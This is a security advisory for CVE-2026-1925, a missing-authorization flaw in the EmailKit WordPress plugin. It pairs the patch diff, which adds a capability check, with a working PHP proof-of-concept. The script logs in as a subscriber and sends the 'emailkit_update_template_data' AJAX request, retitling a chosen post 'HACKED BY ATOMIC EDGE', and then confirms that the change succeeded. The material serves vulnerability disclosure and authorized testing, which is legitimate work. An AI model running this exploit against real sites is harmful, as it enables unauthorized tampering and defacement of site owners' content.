CVE-2026-1925: EmailKit – Email Customizer for WooCommerce & WP <= 1.6.2 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Title Modification (emailkit)

--- a/emailkit/EmailKit.php
+++ b/emailkit/EmailKit.php
@@ -6,7 +6,7 @@
  * Description: EmailKit is the most-complete drag-and-drop Email template builder.
  * Author: wpmet
  * Author URI: https://wpmet.com
- * Version: 1.6.2
+ * Version: 1.6.3
  * Text Domain: emailkit
  * License:  GPLv3
  * License URI: https://www.gnu.org/licenses/gpl-3.0.txt
@@ -68,7 +68,7 @@
      */
     public function define_constants()
     {
-        define('EMAILKIT_VERSION', '1.6.2');
+        define('EMAILKIT_VERSION', '1.6.3');
         define('EMAILKIT_TEXTDOMAIN', 'emailkit');
         define('EMAILKIT_FILE', __FILE__);
         define('EMAILKIT_PATH', __DIR__);
--- a/emailkit/includes/Admin/EmailKitAjax.php
+++ b/emailkit/includes/Admin/EmailKitAjax.php
@@ -154,6 +154,13 @@
             return false;
         }

+        // check user capability
+        if( ! current_user_can('manage_options') ) {
+
+            wp_send_json_error( esc_html__( 'Insufficient permissions', 'emailkit' ), 403 );
+            exit;
+        }
+
         $ID = isset( $_POST[ 'id' ] ) ? sanitize_text_field( wp_unslash( $_POST[ 'id' ] ) ) : null;
         $new_title = isset( $_POST[ 'title' ] ) ? sanitize_text_field( wp_unslash( $_POST[ 'title' ] ) ) : '';
         $data = [];

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1925 - EmailKit <= 1.6.2 - Authenticated Post Title Modification

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$new_title = 'HACKED BY ATOMIC EDGE';
$target_post_id = 1;

// Step 1: Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Step 2: Extract the required nonce from the admin page
// The nonce is typically found in the EmailKit admin page source
// For this PoC, we assume the attacker has obtained a valid nonce
// In a real scenario, the attacker would parse it from the page
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual extracted nonce

if (empty($nonce) || $nonce === 'EXTRACTED_NONCE_HERE') {
    die('Error: You must first extract a valid nonce from the EmailKit admin interface.');
}

// Step 3: Send the malicious AJAX request to modify post title
curl_setopt($ch, CURLOPT_URL, $ajax_url);
$exploit_payload = http_build_query([
    'action' => 'emailkit_update_template_data',
    'nonce' => $nonce,
    'id' => $target_post_id,
    'title' => $new_title
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

// Step 4: Verify the title was changed
// This could be done by fetching the post and checking its title
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $target_post_id);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

if (strpos($post_page, $new_title) !== false) {
    echo "SUCCESS: Post title changed to '$new_title'.n";
} else {
    echo "Title change may have failed. Check manually.n";
}

curl_close($ch);

?>